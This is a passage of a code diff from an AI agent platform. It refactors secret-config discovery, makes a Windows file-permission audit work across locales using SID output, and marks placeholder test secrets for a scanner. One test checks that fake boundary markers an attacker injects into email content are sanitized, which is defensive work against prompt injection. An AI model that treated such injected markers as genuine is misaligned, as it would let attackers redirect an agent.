SecretTargetRegistryEntry[] = [ targetType: "channels.zalo.botToken", configFile: "openclaw.json", pathPattern: "channels.zalo.botToken", - secretShape: "secret_input", + secretShape: SECRET_INPUT_SHAPE, expectedResolvedValue: "string", includeInPlan: true, includeInConfigure: true, @@ -542,7 +545,7 @@ const SECRET_TARGET_REGISTRY: SecretTargetRegistryEntry[] = [ targetType: "channels.zalo.webhookSecret", configFile: "openclaw.json", pathPattern: "channels.zalo.webhookSecret", - secretShape: "secret_input", + secretShape: SECRET_INPUT_SHAPE, expectedResolvedValue: "string", includeInPlan: true, includeInConfigure: true, @@ -553,7 +556,7 @@ const SECRET_TARGET_REGISTRY: SecretTargetRegistryEntry[] = [ targetType: "cron.webhookToken", configFile: "openclaw.json", pathPattern: "cron.webhookToken", - secretShape: "secret_input", + secretShape: SECRET_INPUT_SHAPE, expectedResolvedValue: "string", includeInPlan: true, includeInConfigure: true, @@ -564,7 +567,7 @@ const SECRET_TARGET_REGISTRY: SecretTargetRegistryEntry[] = [ targetType: "gateway.auth.token", configFile: "openclaw.json", pathPattern: "gateway.auth.token", - secretShape: "secret_input", + secretShape: SECRET_INPUT_SHAPE, expectedResolvedValue: "string", includeInPlan: true, includeInConfigure: true, @@ -575,7 +578,7 @@ const SECRET_TARGET_REGISTRY: SecretTargetRegistryEntry[] = [ targetType: "gateway.auth.password", configFile: "openclaw.json", pathPattern: "gateway.auth.password", - secretShape: "secret_input", + secretShape: SECRET_INPUT_SHAPE, expectedResolvedValue: "string", includeInPlan: true, includeInConfigure: true, @@ -586,7 +589,7 @@ const SECRET_TARGET_REGISTRY: SecretTargetRegistryEntry[] = [ targetType: "gateway.remote.password", configFile: "openclaw.json", pathPattern: "gateway.remote.password", - secretShape: "secret_input", + secretShape: SECRET_INPUT_SHAPE, expectedResolvedValue: "string", includeInPlan: true, includeInConfigure: true, @@ -597,7 +600,7 @@ const SECRET_TARGET_REGISTRY: SecretTargetRegistryEntry[] = [ targetType: "gateway.remote.token", configFile: "openclaw.json", pathPattern: "gateway.remote.token", - secretShape: "secret_input", + secretShape: SECRET_INPUT_SHAPE, expectedResolvedValue: "string", includeInPlan: true, includeInConfigure: true, @@ -608,7 +611,7 @@ const SECRET_TARGET_REGISTRY: SecretTargetRegistryEntry[] = [ targetType: "messages.tts.elevenlabs.apiKey", configFile: "openclaw.json", pathPattern: "messages.tts.elevenlabs.apiKey", - secretShape: "secret_input", + secretShape: SECRET_INPUT_SHAPE, expectedResolvedValue: "string", includeInPlan: true, includeInConfigure: true, @@ -619,7 +622,7 @@ const SECRET_TARGET_REGISTRY: SecretTargetRegistryEntry[] = [ targetType: "messages.tts.openai.apiKey", configFile: "openclaw.json", pathPattern: "messages.tts.openai.apiKey", - secretShape: "secret_input", + secretShape: SECRET_INPUT_SHAPE, expectedResolvedValue: "string", includeInPlan: true, includeInConfigure: true, @@ -631,7 +634,7 @@ const SECRET_TARGET_REGISTRY: SecretTargetRegistryEntry[] = [ targetTypeAliases: ["models.providers.*.apiKey"], configFile: "openclaw.json", pathPattern: "models.providers.*.apiKey", - secretShape: "secret_input", + secretShape: SECRET_INPUT_SHAPE, expectedResolvedValue: "string", includeInPlan: true, includeInConfigure: true, @@ -639,13 +642,26 @@ const SECRET_TARGET_REGISTRY: SecretTargetRegistryEntry[] = [ providerIdPathSegmentIndex: 2, trackProviderShadowing: true, }, + { + id: "models.providers.*.headers.*", + targetType: "models.providers.headers", + targetTypeAliases: ["models.providers.*.headers.*"], + configFile: "openclaw.json", + pathPattern: "models.providers.*.headers.*", + secretShape: SECRET_INPUT_SHAPE, + expectedResolvedValue: "string", + includeInPlan: true, + includeInConfigure: true, + includeInAudit: true, + providerIdPathSegmentIndex: 2, + }, { id: "skills.entries.*.apiKey", targetType: "skills.entries.apiKey", targetTypeAliases: ["skills.entries.*.apiKey"], configFile: "openclaw.json", pathPattern: "skills.entries.*.apiKey", - secretShape: "secret_input", + secretShape: SECRET_INPUT_SHAPE, expectedResolvedValue: "string", includeInPlan: true, includeInConfigure: true, @@ -656,7 +672,7 @@ const SECRET_TARGET_REGISTRY: SecretTargetRegistryEntry[] = [ targetType: "talk.apiKey", configFile: "openclaw.json", pathPattern: "talk.apiKey", - secretShape: "secret_input", + secretShape: SECRET_INPUT_SHAPE, expectedResolvedValue: "string", includeInPlan: true, includeInConfigure: true, @@ -667,7 +683,7 @@ const SECRET_TARGET_REGISTRY: SecretTargetRegistryEntry[] = [ targetType: "talk.providers.*.apiKey", configFile: "openclaw.json", pathPattern: "talk.providers.*.apiKey", - secretShape: "secret_input", + secretShape: SECRET_INPUT_SHAPE, expectedResolvedValue: "string", includeInPlan: true, includeInConfigure: true, @@ -678,7 +694,7 @@ const SECRET_TARGET_REGISTRY: SecretTargetRegistryEntry[] = [ targetType: "tools.web.search.apiKey", configFile: "openclaw.json", pathPattern: "tools.web.search.apiKey", - secretShape: "secret_input", + secretShape: SECRET_INPUT_SHAPE, expectedResolvedValue: "string", includeInPlan: true, includeInConfigure: true, @@ -689,7 +705,7 @@ const SECRET_TARGET_REGISTRY: SecretTargetRegistryEntry[] = [ targetType: "tools.web.search.gemini.apiKey", configFile: "openclaw.json", pathPattern: "tools.web.search.gemini.apiKey", - secretShape: "secret_input", + secretShape: SECRET_INPUT_SHAPE, expectedResolvedValue: "string", includeInPlan: true, includeInConfigure: true, @@ -700,7 +716,7 @@ const SECRET_TARGET_REGISTRY: SecretTargetRegistryEntry[] = [ targetType: "tools.web.search.grok.apiKey", configFile: "openclaw.json", pathPattern: "tools.web.search.grok.apiKey", - secretShape: "secret_input", + secretShape: SECRET_INPUT_SHAPE, expectedResolvedValue: "string", includeInPlan: true, includeInConfigure: true, @@ -711,7 +727,7 @@ const SECRET_TARGET_REGISTRY: SecretTargetRegistryEntry[] = [ targetType: "tools.web.search.kimi.apiKey", configFile: "openclaw.json", pathPattern: "tools.web.search.kimi.apiKey", - secretShape: "secret_input", + secretShape: SECRET_INPUT_SHAPE, expectedResolvedValue: "string", includeInPlan: true, includeInConfigure: true, @@ -722,7 +738,7 @@ const SECRET_TARGET_REGISTRY: SecretTargetRegistryEntry[] = [ targetType: "tools.web.search.perplexity.apiKey", configFile: "openclaw.json", pathPattern: "tools.web.search.perplexity.apiKey", - secretShape: "secret_input", + secretShape: SECRET_INPUT_SHAPE, expectedResolvedValue: "string", includeInPlan: true, includeInConfigure: true, diff --git a/src/secrets/target-registry-pattern.test.ts b/src/secrets/target-registry-pattern.test.ts index fe8668c4d1d..2cd3537fb53 100644 --- a/src/secrets/target-registry-pattern.test.ts +++ b/src/secrets/target-registry-pattern.test.ts @@ -39,6 +39,17 @@ describe("target registry pattern helpers", () => { expect(materializePathTokens(refTokens, ["anthropic"])).toBeNull(); }); + it("matches two wildcard captures in five-segment header paths", () => { + const tokens = parsePathPattern("models.providers.*.headers.*"); + const match = matchPathTokens( + ["models", "providers", "openai", "headers", "x-api-key"], + tokens, + ); + expect(match).toEqual({ + captures: ["openai", "x-api-key"], + }); + }); + it("expands wildcard and array patterns over config objects", () => { const root = { agents: { @@ -49,8 +60,8 @@ describe("target registry pattern helpers", () => { }, talk: { providers: { - openai: { apiKey: "oa" }, - anthropic: { apiKey: "an" }, + openai: { apiKey: "oa" }, // pragma: allowlist secret + anthropic: { apiKey: "an" }, // pragma: allowlist secret }, }, }; diff --git a/src/secrets/target-registry-pattern.ts b/src/secrets/target-registry-pattern.ts index d6c0970efaf..0504c3023e0 100644 --- a/src/secrets/target-registry-pattern.ts +++ b/src/secrets/target-registry-pattern.ts @@ -47,7 +47,8 @@ export function compileTargetRegistryEntry( const pathDynamicTokenCount = countDynamicPatternTokens(pathTokens); const refPathTokens = entry.refPathPattern ? parsePathPattern(entry.refPathPattern) : undefined; const refPathDynamicTokenCount = refPathTokens ? countDynamicPatternTokens(refPathTokens) : 0; - if (entry.secretShape === "sibling_ref" && !refPathTokens) { + const requiresSiblingRefPath = entry.secretShape === "sibling_ref"; // pragma: allowlist secret + if (requiresSiblingRefPath && !refPathTokens) { throw new Error(`Missing refPathPattern for sibling_ref target: ${entry.id}`); } if (refPathTokens && refPathDynamicTokenCount !== pathDynamicTokenCount) { diff --git a/src/secrets/target-registry-query.ts b/src/secrets/target-registry-query.ts index 5d46020d3b8..fcfdc694f85 100644 --- a/src/secrets/target-registry-query.ts +++ b/src/secrets/target-registry-query.ts @@ -74,6 +74,73 @@ function buildAuthProfileTargetIdIndex(): Map): Set | null { + if (targetIds === undefined) { + return null; + } + return new Set( + Array.from(targetIds) + .map((entry) => entry.trim()) + .filter((entry) => entry.length > 0), + ); +} + +function resolveDiscoveryEntries(params: { + allowedTargetIds: Set | null; + defaultEntries: CompiledTargetRegistryEntry[]; + entriesById: Map; +}): CompiledTargetRegistryEntry[] { + if (params.allowedTargetIds === null) { + return params.defaultEntries; + } + return Array.from(params.allowedTargetIds).flatMap( + (targetId) => params.entriesById.get(targetId) ?? [], + ); +} + +function discoverSecretTargetsFromEntries( + source: unknown, + discoveryEntries: CompiledTargetRegistryEntry[], +): DiscoveredConfigSecretTarget[] { + const out: DiscoveredConfigSecretTarget[] = []; + const seen = new Set(); + + for (const entry of discoveryEntries) { + const expanded = expandPathTokens(source, entry.pathTokens); + for (const match of expanded) { + const resolved = toResolvedPlanTarget(entry, match.segments, match.captures); + if (!resolved) { + continue; + } + const key = `${entry.id}:${resolved.pathSegments.join(".")}`; + if (seen.has(key)) { + continue; + } + seen.add(key); + const refValue = resolved.refPathSegments + ? getPath(source, resolved.refPathSegments) + : undefined; + out.push({ + entry, + path: resolved.pathSegments.join("."), + pathSegments: resolved.pathSegments, + ...(resolved.refPathSegments + ? { + refPathSegments: resolved.refPathSegments, + refPath: resolved.refPathSegments.join("."), + } + : {}), + value: match.value, + ...(resolved.providerId ? { providerId: resolved.providerId } : {}), + ...(resolved.accountId ? { accountId: resolved.accountId } : {}), + ...(resolved.refPathSegments ? { refValue } : {}), + }); + } + } + + return out; +} + function toResolvedPlanTarget( entry: CompiledTargetRegistryEntry, pathSegments: string[], @@ -182,58 +249,13 @@ export function discoverConfigSecretTargetsByIds( config: OpenClawConfig, targetIds?: Iterable, ): DiscoveredConfigSecretTarget[] { - const allowedTargetIds = - targetIds === undefined - ? null - : new Set( - Array.from(targetIds) - .map((entry) => entry.trim()) - .filter((entry) => entry.length > 0), - ); - const out: DiscoveredConfigSecretTarget[] = []; - const seen = new Set(); - - const discoveryEntries = - allowedTargetIds === null - ? OPENCLAW_COMPILED_SECRET_TARGETS - : Array.from(allowedTargetIds).flatMap( - (targetId) => OPENCLAW_TARGETS_BY_ID.get(targetId) ?? [], - ); - - for (const entry of discoveryEntries) { - const expanded = expandPathTokens(config, entry.pathTokens); - for (const match of expanded) { - const resolved = toResolvedPlanTarget(entry, match.segments, match.captures); - if (!resolved) { - continue; - } - const key = `${entry.id}:${resolved.pathSegments.join(".")}`; - if (seen.has(key)) { - continue; - } - seen.add(key); - const refValue = resolved.refPathSegments - ? getPath(config, resolved.refPathSegments) - : undefined; - out.push({ - entry, - path: resolved.pathSegments.join("."), - pathSegments: resolved.pathSegments, - ...(resolved.refPathSegments - ? { - refPathSegments: resolved.refPathSegments, - refPath: resolved.refPathSegments.join("."), - } - : {}), - value: match.value, - ...(resolved.providerId ? { providerId: resolved.providerId } : {}), - ...(resolved.accountId ? { accountId: resolved.accountId } : {}), - ...(resolved.refPathSegments ? { refValue } : {}), - }); - } - } - - return out; + const allowedTargetIds = normalizeAllowedTargetIds(targetIds); + const discoveryEntries = resolveDiscoveryEntries({ + allowedTargetIds, + defaultEntries: OPENCLAW_COMPILED_SECRET_TARGETS, + entriesById: OPENCLAW_TARGETS_BY_ID, + }); + return discoverSecretTargetsFromEntries(config, discoveryEntries); } export function discoverAuthProfileSecretTargets(store: unknown): DiscoveredConfigSecretTarget[] { @@ -244,58 +266,13 @@ export function discoverAuthProfileSecretTargetsByIds( store: unknown, targetIds?: Iterable, ): DiscoveredConfigSecretTarget[] { - const allowedTargetIds = - targetIds === undefined - ? null - : new Set( - Array.from(targetIds) - .map((entry) => entry.trim()) - .filter((entry) => entry.length > 0), - ); - const out: DiscoveredConfigSecretTarget[] = []; - const seen = new Set(); - - const discoveryEntries = - allowedTargetIds === null - ? AUTH_PROFILES_COMPILED_SECRET_TARGETS - : Array.from(allowedTargetIds).flatMap( - (targetId) => AUTH_PROFILES_TARGETS_BY_ID.get(targetId) ?? [], - ); - - for (const entry of discoveryEntries) { - const expanded = expandPathTokens(store, entry.pathTokens); - for (const match of expanded) { - const resolved = toResolvedPlanTarget(entry, match.segments, match.captures); - if (!resolved) { - continue; - } - const key = `${entry.id}:${resolved.pathSegments.join(".")}`; - if (seen.has(key)) { - continue; - } - seen.add(key); - const refValue = resolved.refPathSegments - ? getPath(store, resolved.refPathSegments) - : undefined; - out.push({ - entry, - path: resolved.pathSegments.join("."), - pathSegments: resolved.pathSegments, - ...(resolved.refPathSegments - ? { - refPathSegments: resolved.refPathSegments, - refPath: resolved.refPathSegments.join("."), - } - : {}), - value: match.value, - ...(resolved.providerId ? { providerId: resolved.providerId } : {}), - ...(resolved.accountId ? { accountId: resolved.accountId } : {}), - ...(resolved.refPathSegments ? { refValue } : {}), - }); - } - } - - return out; + const allowedTargetIds = normalizeAllowedTargetIds(targetIds); + const discoveryEntries = resolveDiscoveryEntries({ + allowedTargetIds, + defaultEntries: AUTH_PROFILES_COMPILED_SECRET_TARGETS, + entriesById: AUTH_PROFILES_TARGETS_BY_ID, + }); + return discoverSecretTargetsFromEntries(store, discoveryEntries); } export function listAuthProfileSecretTargetEntries(): SecretTargetRegistryEntry[] { diff --git a/src/secrets/target-registry-types.ts b/src/secrets/target-registry-types.ts index 0990f72a30d..e8c31d1c251 100644 --- a/src/secrets/target-registry-types.ts +++ b/src/secrets/target-registry-types.ts @@ -1,6 +1,6 @@ -export type SecretTargetConfigFile = "openclaw.json" | "auth-profiles.json"; -export type SecretTargetShape = "secret_input" | "sibling_ref"; -export type SecretTargetExpected = "string" | "string-or-object"; +export type SecretTargetConfigFile = "openclaw.json" | "auth-profiles.json"; // pragma: allowlist secret +export type SecretTargetShape = "secret_input" | "sibling_ref"; // pragma: allowlist secret +export type SecretTargetExpected = "string" | "string-or-object"; // pragma: allowlist secret export type AuthProfileType = "api_key" | "token"; export type SecretTargetRegistryEntry = { diff --git a/src/security/audit.test.ts b/src/security/audit.test.ts index 0cae6c88256..1c696bf6e1f 100644 --- a/src/security/audit.test.ts +++ b/src/security/audit.test.ts @@ -1490,7 +1490,7 @@ description: test skill channels: { feishu: { appId: "cli_test", - appSecret: "secret_test", + appSecret: "secret_test", // pragma: allowlist secret }, }, }; @@ -1522,7 +1522,7 @@ description: test skill channels: { feishu: { appId: "cli_test", - appSecret: "secret_test", + appSecret: "secret_test", // pragma: allowlist secret tools: { doc: false }, }, }, @@ -1966,8 +1966,8 @@ description: test skill mode: "http", botTokenSource: "config", botTokenStatus: "configured_unavailable", - signingSecretSource: "config", - signingSecretStatus: "configured_unavailable", + signingSecretSource: "config", // pragma: allowlist secret + signingSecretStatus: "configured_unavailable", // pragma: allowlist secret config: channel, }; } @@ -1978,8 +1978,8 @@ description: test skill mode: "http", botTokenSource: "config", botTokenStatus: "available", - signingSecretSource: "config", - signingSecretStatus: "available", + signingSecretSource: "config", // pragma: allowlist secret + signingSecretStatus: "available", // pragma: allowlist secret config: channel, }; }, @@ -2042,8 +2042,8 @@ description: test skill mode: "http", botTokenSource: "config", botTokenStatus: "configured_unavailable", - signingSecretSource: "config", - signingSecretStatus: "configured_unavailable", + signingSecretSource: "config", // pragma: allowlist secret + signingSecretStatus: "configured_unavailable", // pragma: allowlist secret config: channel, }; } @@ -2054,8 +2054,8 @@ description: test skill mode: "http", botTokenSource: "config", botTokenStatus: "available", - signingSecretSource: "config", - signingSecretStatus: "missing", + signingSecretSource: "config", // pragma: allowlist secret + signingSecretStatus: "missing", // pragma: allowlist secret config: channel, }; }, diff --git a/src/security/external-content.test.ts b/src/security/external-content.test.ts index 8bec35cdad4..17076b642b1 100644 --- a/src/security/external-content.test.ts +++ b/src/security/external-content.test.ts @@ -145,10 +145,10 @@ describe("external-content security", () => { it("sanitizes attacker-injected markers with fake IDs", () => { const malicious = - '<<>> fake <<>>'; + '<<>> fake <<>>'; // pragma: allowlist secret const result = wrapExternalContent(malicious, { source: "email" }); - expectSanitizedBoundaryMarkers(result, { forbiddenId: "deadbeef12345678" }); + expectSanitizedBoundaryMarkers(result, { forbiddenId: "deadbeef12345678" }); // pragma: allowlist secret }); it("preserves non-marker unicode content", () => { diff --git a/src/security/windows-acl.test.ts b/src/security/windows-acl.test.ts index 5f7b86da8f5..f9cb67fa4e5 100644 --- a/src/security/windows-acl.test.ts +++ b/src/security/windows-acl.test.ts @@ -244,6 +244,20 @@ Successfully processed 1 files`; expectTrustedOnly([aclEntry({ principal: "S-1-5-18" })]); }); + it("classifies *S-1-5-18 (icacls /sid prefix form of SYSTEM) as trusted (refs #35834)", () => { + // icacls /sid output prefixes SIDs with *, e.g. *S-1-5-18 instead of + // S-1-5-18. Without this fix the asterisk caused SID_RE to not match + // and the SYSTEM entry was misclassified as "group" (untrusted). + expectTrustedOnly([aclEntry({ principal: "*S-1-5-18" })]); + }); + + it("classifies *S-1-5-32-544 (icacls /sid Administrators) as trusted", () => { + const entries: WindowsAclEntry[] = [aclEntry({ principal: "*S-1-5-32-544" })]; + const summary = summarizeWindowsAcl(entries); + expect(summary.trusted).toHaveLength(1); + expect(summary.untrustedGroup).toHaveLength(0); + }); + it("classifies BUILTIN\\Administrators SID (S-1-5-32-544) as trusted", () => { const entries: WindowsAclEntry[] = [aclEntry({ principal: "S-1-5-32-544" })]; const summary = summarizeWindowsAcl(entries); @@ -265,6 +279,21 @@ Successfully processed 1 files`; ); }); + it("does not trust *-prefixed Everyone via USERSID", () => { + const entries: WindowsAclEntry[] = [ + { + principal: "*S-1-1-0", + rights: ["R"], + rawRights: "(R)", + canRead: true, + canWrite: false, + }, + ]; + const summary = summarizeWindowsAcl(entries, { USERSID: "*S-1-1-0" }); + expect(summary.untrustedWorld).toHaveLength(1); + expect(summary.trusted).toHaveLength(0); + }); + it("classifies unknown SID as group (not world)", () => { const entries: WindowsAclEntry[] = [ { @@ -281,6 +310,53 @@ Successfully processed 1 files`; expect(summary.trusted).toHaveLength(0); }); + it("classifies Everyone SID (S-1-1-0) as world, not group", () => { + // When icacls is run with /sid, "Everyone" becomes *S-1-1-0. + // It must be classified as "world" to preserve security-audit severity. + const entries: WindowsAclEntry[] = [ + { + principal: "*S-1-1-0", + rights: ["R"], + rawRights: "(R)", + canRead: true, + canWrite: false, + }, + ]; + const summary = summarizeWindowsAcl(entries); + expect(summary.untrustedWorld).toHaveLength(1); + expect(summary.untrustedGroup).toHaveLength(0); + }); + + it("classifies Authenticated Users SID (S-1-5-11) as world, not group", () => { + const entries: WindowsAclEntry[] = [ + { + principal: "*S-1-5-11", + rights: ["R"], + rawRights: "(R)", + canRead: true, + canWrite: false, + }, + ]; + const summary = summarizeWindowsAcl(entries); + expect(summary.untrustedWorld).toHaveLength(1); + expect(summary.untrustedGroup).toHaveLength(0); + }); + + it("classifies BUILTIN\\Users SID (S-1-5-32-545) as world, not group", () => { + const entries: WindowsAclEntry[] = [ + { + principal: "*S-1-5-32-545", + rights: ["R"], + rawRights: "(R)", + canRead: true, + canWrite: false, + }, + ]; + const summary = summarizeWindowsAcl(entries); + expect(summary.untrustedWorld).toHaveLength(1); + expect(summary.untrustedGroup).toHaveLength(0); + }); + it("full scenario: SYSTEM SID + owner SID only → no findings", () => { const ownerSid = "S-1-5-21-1824257776-4070701511-781240313-1001"; const entries: WindowsAclEntry[] = [ @@ -319,7 +395,55 @@ Successfully processed 1 files`; exec: mockExec, }); expectInspectSuccess(result, 2); - expect(mockExec).toHaveBeenCalledWith("icacls", ["C:\\test\\file.txt"]); + // /sid is passed so that account names are printed as SIDs, making the + // audit locale-independent (fixes #35834). + expect(mockExec).toHaveBeenCalledWith("icacls", ["C:\\test\\file.txt", "/sid"]); + }); + + it("classifies *S-1-5-18 (SID form of SYSTEM from /sid) as trusted", async () => { + // When icacls is called with /sid it outputs *S-X-X-X instead of + // locale-dependent names like "NT AUTHORITY\\SYSTEM" or the Russian + // garbled equivalent. + const mockExec = vi.fn().mockResolvedValue({ + stdout: + "C:\\test\\file.txt *S-1-5-21-111-222-333-1001:(F)\n *S-1-5-18:(F)\n *S-1-5-32-544:(F)", + stderr: "", + }); + + const result = await inspectWindowsAcl("C:\\test\\file.txt", { + exec: mockExec, + env: { USERSID: "S-1-5-21-111-222-333-1001" }, + }); + expectInspectSuccess(result, 3); + // All three entries (current user, SYSTEM, Administrators) must be trusted. + expect(result.trusted).toHaveLength(3); + expect(result.untrustedGroup).toHaveLength(0); + expect(result.untrustedWorld).toHaveLength(0); + }); + + it("resolves current user SID via whoami when USERSID is missing", async () => { + const mockExec = vi + .fn() + .mockResolvedValueOnce({ + stdout: + "C:\\test\\file.txt *S-1-5-21-111-222-333-1001:(F)\n *S-1-5-18:(F)", + stderr: "", + }) + .mockResolvedValueOnce({ + stdout: '"mock-host\\\\MockUser","S-1-5-21-111-222-333-1001"\r\n', + stderr: "", + }); + + const result = await inspectWindowsAcl("C:\\test\\file.txt", { + exec: mockExec, + env: { USERNAME: "MockUser", USERDOMAIN: "mock-host" }, + }); + + expectInspectSuccess(result, 2); + expect(result.trusted).toHaveLength(2); + expect(result.untrustedGroup).toHaveLength(0); + expect(mockExec).toHaveBeenNthCalledWith(1, "icacls", ["C:\\test\\file.txt", "/sid"]); + expect(mockExec).toHaveBeenNthCalledWith(2, "whoami", ["/user", "/fo", "csv", "/nh"]); }); it("returns error state on exec failure", async () => { diff --git a/src/security/windows-acl.ts b/src/security/windows-acl.ts index 64e415cca32..c7580bbc42c 100644 --- a/src/security/windows-acl.ts +++ b/src/security/windows-acl.ts @@ -42,12 +42,20 @@ const TRUSTED_BASE = new Set([ const WORLD_SUFFIXES = ["\\users", "\\authenticated users"]; const TRUSTED_SUFFIXES = ["\\administrators", "\\system", "\\système"]; -const SID_RE = /^s-\d+-\d+(-\d+)+$/i; +// Accept an optional leading * which icacls prefixes to SIDs when invoked with /sid +// (e.g. *S-1-5-18 instead of S-1-5-18). +const SID_RE = /^\*?s-\d+-\d+(-\d+)+$/i; const TRUSTED_SIDS = new Set([ "s-1-5-18", "s-1-5-32-544", "s-1-5-80-956008885-3418522649-1831038044-1853292631-2271478464", ]); +// SIDs for world-equivalent principals that icacls /sid emits as raw SIDs. +// Without this list these would be classified as "group" instead of "world". +// S-1-1-0 Everyone +// S-1-5-11 Authenticated Users +// S-1-5-32-545 BUILTIN\Users +const WORLD_SIDS = new Set(["s-1-1-0", "s-1-5-11", "s-1-5-32-545"]); const STATUS_PREFIXES = [ "successfully processed", "processed", @@ -57,6 +65,11 @@ const STATUS_PREFIXES = [ const normalize = (value: string) => value.trim().toLowerCase(); +function normalizeSid(value: string): string { + const normalized = normalize(value); + return normalized.startsWith("*") ? normalized.slice(1) : normalized; +} + export function resolveWindowsUserPrincipal(env?: NodeJS.ProcessEnv): string | null { const username = env?.USERNAME?.trim() || os.userInfo().username?.trim(); if (!username) { @@ -77,7 +90,7 @@ function buildTrustedPrincipals(env?: NodeJS.ProcessEnv): Set { trusted.add(normalize(userOnly)); } } - const userSid = normalize(env?.USERSID ?? ""); + const userSid = normalizeSid(env?.USERSID ?? ""); if (userSid && SID_RE.test(userSid)) { trusted.add(userSid); } @@ -91,7 +104,18 @@ function classifyPrincipal( const normalized = normalize(principal); if (SID_RE.test(normalized)) { - return TRUSTED_SIDS.has(normalized) || trustedPrincipals.has(normalized) ? "trusted" : "group"; + // Strip the leading * that icacls /sid prefixes to SIDs before lookup. + const sid = normalizeSid(normalized); + // World-equivalent SIDs must be classified as "world", not "group", so + // that callers applying world-write policies catch everyone/authenticated- + // users entries the same way they would catch the human-readable names. + if (WORLD_SIDS.has(sid)) { + return "world"; + } + if (TRUSTED_SIDS.has(sid) || trustedPrincipals.has(sid)) { + return "trusted"; + } + return "group"; } if ( @@ -243,16 +267,44 @@ export function summarizeWindowsAcl( return { trusted, untrustedWorld, untrustedGroup }; } +async function resolveCurrentUserSid(exec: ExecFn): Promise { + try { + const { stdout, stderr } = await exec("whoami", ["/user", "/fo", "csv", "/nh"]); + const match = `${stdout}\n${stderr}`.match(/\*?S-\d+-\d+(?:-\d+)+/i); + return match ? normalizeSid(match[0]) : null; + } catch { + return null; + } +} + export async function inspectWindowsAcl( targetPath: string, opts?: { env?: NodeJS.ProcessEnv; exec?: ExecFn }, ): Promise { const exec = opts?.exec ?? runExec; try { - const { stdout, stderr } = await exec("icacls", [targetPath]); + // /sid outputs security identifiers (e.g. *S-1-5-18) instead of locale- + // dependent account names so the audit works correctly on non-English + // Windows (Russian, Chinese, etc.) where icacls prints Cyrillic / CJK + // characters that may be garbled when Node reads them in the wrong code + // page. Fixes #35834. + const { stdout, stderr } = await exec("icacls", [targetPath, "/sid"]); const output = `${stdout}\n${stderr}`.trim(); const entries = parseIcaclsOutput(output, targetPath); - const { trusted, untrustedWorld, untrustedGroup } = summarizeWindowsAcl(entries, opts?.env); + let effectiveEnv = opts?.env; + let { trusted, untrustedWorld, untrustedGroup } = summarizeWindowsAcl(entries, effectiveEnv); + + const needsUserSidResolution = + !effectiveEnv?.USERSID && + untrustedGroup.some((entry) => SID_RE.test(normalize(entry.principal))); + if (needsUserSidResolution) { + const currentUserSid = await resolveCurrentUserSid(exec); + if (currentUserSid) { + effectiveEnv = { ...effectiveEnv, USERSID: currentUserSid }; + ({ trusted, untrustedWorld, untrustedGroup } = summarizeWindowsAcl(entries, effectiveEnv)); + } + } + return { ok: true, entries, trusted, untrustedWorld, untrustedGroup }; } catch (err) { return { diff --git a/src/shared/frontmatter.ts b/src/shared/frontmatter.ts index 91e49017be6..ce042b18762 100644 --- a/src/shared/frontmatter.ts +++ b/src/shared/frontmatter.ts @@ -137,3 +137,18 @@ export function parseOpenClawManifestInstallBase( } return spec; } + +export function applyOpenClawManifestInstallCommonFields< + T extends { id?: string; label?: string; bins?: string[] }, +>(spec: T, parsed: Pick): T { + if (parsed.id) { + spec.id = parsed.id; + } + if (parsed.label) { + spec.label = parsed.label; + } + if (parsed.bins) { + spec.bins = parsed.bins; + } + return spec; +} diff --git a/src/signal/identity.test.ts b/src/signal/identity.test.ts index b6f35ab6471..a09f81910c6 100644 --- a/src/signal/identity.test.ts +++ b/src/signal/identity.test.ts @@ -12,7 +12,7 @@ describe("looksLikeUuid", () => { }); it("accepts compact UUIDs", () => { - expect(looksLikeUuid("123e4567e89b12d3a456426614174000")).toBe(true); + expect(looksLikeUuid("123e4567e89b12d3a456426614174000")).toBe(true); // pragma: allowlist secret }); it("accepts uuid-like hex values with letters", () => { diff --git a/src/slack/account-inspect.ts b/src/slack/account-inspect.ts index f29d718aa28..34b4a13fb23 100644 --- a/src/slack/account-inspect.ts +++ b/src/slack/account-inspect.ts @@ -1,9 +1,13 @@ import type { OpenClawConfig } from "../config/config.js"; import { hasConfiguredSecretInput, normalizeSecretInputString } from "../config/types.secrets.js"; import type { SlackAccountConfig } from "../config/types.slack.js"; -import { resolveAccountEntry } from "../routing/account-lookup.js"; import { DEFAULT_ACCOUNT_ID, normalizeAccountId } from "../routing/session-key.js"; -import { resolveDefaultSlackAccountId, type SlackTokenSource } from "./accounts.js"; +import type { SlackAccountSurfaceFields } from "./account-surface-fields.js"; +import { + mergeSlackAccountConfig, + resolveDefaultSlackAccountId, + type SlackTokenSource, +} from "./accounts.js"; export type SlackCredentialStatus = "available" | "configured_unavailable" | "missing"; @@ -26,33 +30,7 @@ export type InspectedSlackAccount = { userTokenStatus: SlackCredentialStatus; configured: boolean; config: SlackAccountConfig; - groupPolicy?: SlackAccountConfig["groupPolicy"]; - textChunkLimit?: SlackAccountConfig["textChunkLimit"]; - mediaMaxMb?: SlackAccountConfig["mediaMaxMb"]; - reactionNotifications?: SlackAccountConfig["reactionNotifications"]; - reactionAllowlist?: SlackAccountConfig["reactionAllowlist"]; - replyToMode?: SlackAccountConfig["replyToMode"]; - replyToModeByChatType?: SlackAccountConfig["replyToModeByChatType"]; - actions?: SlackAccountConfig["actions"]; - slashCommand?: SlackAccountConfig["slashCommand"]; - dm?: SlackAccountConfig["dm"]; - channels?: SlackAccountConfig["channels"]; -}; - -function resolveSlackAccountConfig( - cfg: OpenClawConfig, - accountId: string, -): SlackAccountConfig | undefined { - return resolveAccountEntry(cfg.channels?.slack?.accounts, accountId); -} - -function mergeSlackAccountConfig(cfg: OpenClawConfig, accountId: string): SlackAccountConfig { - const { accounts: _ignored, ...base } = (cfg.channels?.slack ?? {}) as SlackAccountConfig & { - accounts?: unknown; - }; - const account = resolveSlackAccountConfig(cfg, accountId) ?? {}; - return { ...base, ...account }; -} +} & SlackAccountSurfaceFields; function inspectSlackToken(value: unknown): { token?: string; diff --git a/src/slack/account-surface-fields.ts b/src/slack/account-surface-fields.ts new file mode 100644 index 00000000000..8e2293e213a --- /dev/null +++ b/src/slack/account-surface-fields.ts @@ -0,0 +1,15 @@ +import type { SlackAccountConfig } from "../config/types.js"; + +export type SlackAccountSurfaceFields = { + groupPolicy?: SlackAccountConfig["groupPolicy"]; + textChunkLimit?: SlackAccountConfig["textChunkLimit"]; + mediaMaxMb?: SlackAccountConfig["mediaMaxMb"]; + reactionNotifications?: SlackAccountConfig["reactionNotifications"]; + reactionAllowlist?: SlackAccountConfig["reactionAllowlist"]; + replyToMode?: SlackAccountConfig["replyToMode"]; + replyToModeByChatType?: SlackAccountConfig["replyToModeByChatType"]; + actions?: SlackAccountConfig["actions"]; + 